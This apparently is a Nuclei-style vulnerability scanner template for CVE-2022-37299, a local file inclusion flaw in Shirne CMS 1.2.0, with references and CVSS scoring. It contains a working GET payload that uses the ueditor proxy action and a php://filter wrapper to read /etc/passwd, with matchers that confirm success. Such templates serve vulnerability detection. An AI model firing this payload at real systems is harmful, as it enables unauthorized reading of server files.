id: CVE-2022-37299 info: name: Shirne CMS 1.2.0 - Local File Inclusion author: pikpikcu severity: medium description: Shirne CMS 1.2.0 is vulnerable to local file inclusion which could cause arbitrary file read via /static/ueditor/php/controller.php. reference: - https://twitter.com/pikpikcu/status/1568316864690028544 - https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue - https://nvd.nist.gov/vuln/detail/CVE-2022-37299 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2022-37299 cwe-id: CWE-22 metadata: verified: "true" tags: cve,cve2022,shirnecms,lfi requests: - method: GET path: - "{{BaseURL}}/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test" matchers-condition: and matchers: - type: word part: body words: - "cm9vd" # root in base64 - type: word part: header words: - "image/png" - type: status status: - 200 # Enhanced by mp on 2023/01/15